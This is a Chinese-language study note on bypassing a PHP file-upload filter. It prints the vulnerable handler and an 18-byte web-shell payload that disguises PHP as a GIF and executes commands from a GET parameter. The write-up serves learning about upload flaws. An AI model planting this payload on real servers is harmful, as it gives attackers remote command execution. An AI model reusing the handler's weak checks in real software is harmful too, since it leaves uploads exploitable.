文章

WEB笔记

一个用于记录学习的笔记

WEB笔记

文件上传

长度限制

先来看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<?php
// 启动会话
session_start();

// 上传目录
$uploadDir = 'uploads/';

// 确保上传主目录存在
if (!file_exists($uploadDir)) {
    mkdir($uploadDir, 0777, true);
}

// 为每个用户创建基于session ID的子目录
$userSessionDir = $uploadDir . session_id() . '/';
if (!file_exists($userSessionDir)) {
    mkdir($userSessionDir, 0777, true);
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['file'])) {
        $file = $_FILES['file'];
        $fileName = $file['name'];
        $fileTmpName = $file['tmp_name'];
        $fileSize = $file['size'];
        $fileError = $file['error'];
        
        // 获取MIME类型
        $finfo = new finfo(FILEINFO_MIME_TYPE);
        $mimeType = $finfo->file($fileTmpName);
        
        // 允许的MIME类型
        $allowedMimeTypes = [
            'image/jpeg',
            'image/png',
            'image/gif'
        ];
        
        // 检查MIME类型
        if (!in_array($mimeType, $allowedMimeTypes)) {
            die('<div class="text-danger"><i class="fa fa-exclamation-circle mr-2"></i>错误:不允许的文件类型。只允许上传JPG、PNG或GIF图片。</div>');
        }
        
        // 内容检测(检测'php'或'<?php',但长度限制在18字节以内)
        $fileContent = file_get_contents($fileTmpName);
        if ($fileSize > 18 || (strpos($fileContent, 'php') !== false || strpos($fileContent, '<?php') !== false)) {
            die('<div class="text-danger"><i class="fa fa-exclamation-circle mr-2"></i>错误:文件内容包含不允许的字符串或者上传内容长度大于18。</div>');
        }
        
        // 检查文件大小(示例:限制为2MB)
        if ($fileSize > 2 * 1024 * 1024) {
            die('<div class="text-danger"><i class="fa fa-exclamation-circle mr-2"></i>错误:文件大小超过2MB。</div>');
        }
        
        // 生成唯一文件名
        $uniqueFileName = uniqid('upload_') . '_' . $fileName;
        $destination = $userSessionDir . $uniqueFileName;
        
        // 移动文件
        if (move_uploaded_file($fileTmpName, $destination)) {
            echo '<div class="text-secondary"><i class="fa fa-check-circle mr-2"></i>文件上传成功!</div>';
            
            // 如果是图片,显示预览
            if (in_array($mimeType, ['image/jpeg', 'image/png', 'image/gif'])) {
                echo '<div class="mt-4"><img src="' . $destination . '" alt="上传的图片" class="max-w-full rounded-lg shadow-md"></div>';
            }
            
            // 显示文件信息
            echo '<div class="mt-4 text-gray-700">';
            echo '<p><strong>文件名:</strong> ' . $fileName . '</p>';
            echo '<p><strong>保存路径:</strong> ' . $destination . '</p>';
            echo '<p><strong>MIME类型:</strong> ' . $mimeType . '</p>';
            echo '<p><strong>文件大小:</strong> ' . formatBytes($fileSize) . '</p>';
            echo '</div>';
        } else {
            die('<div class="text-danger"><i class="fa fa-exclamation-circle mr-2"></i>错误:文件上传失败。</div>');
        }
    }
}

// 格式化文件大小
function formatBytes($bytes, $precision = 2) {
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $bytes = max($bytes, 0);
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
    $pow = min($pow, count($units) - 1);
    $bytes /= pow(1024, $pow);
    return round($bytes, $precision) . ' ' . $units[$pow];
}
?>    

主要限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
        // 检查MIME类型
        if (!in_array($mimeType, $allowedMimeTypes)) {
            die('<div class="text-danger"><i class="fa fa-exclamation-circle mr-2"></i>错误:不允许的文件类型。只允许上传JPG、PNG或GIF图片。</div>');
        }
        
        // 内容检测(检测'php'或'<?php',但长度限制在18字节以内)
        $fileContent = file_get_contents($fileTmpName);
        if ($fileSize > 18 || (strpos($fileContent, 'php') !== false || strpos($fileContent, '<?php') !== false)) {
            die('<div class="text-danger"><i class="fa fa-exclamation-circle mr-2"></i>错误:文件内容包含不允许的字符串或者上传内容长度大于18。</div>');
        }
        
        // 检查文件大小(示例:限制为2MB)
        if ($fileSize > 2 * 1024 * 1024) {
            die('<div class="text-danger"><i class="fa fa-exclamation-circle mr-2"></i>错误:文件大小超过2MB。</div>');
        }

这里既要图片内容是JPG、PNG或GIF图片,又要长度为18个字节
正常来说一句话木马的长度就已经超过18个字节了,短标签加GIF头也超过18个字节了

经过测试,尝试删除不必要的字符

1
GIF8<?=`$_GET[1]`;    # 刚好18个字节

本文由作者按照 CC BY 4.0 进行授权

热门标签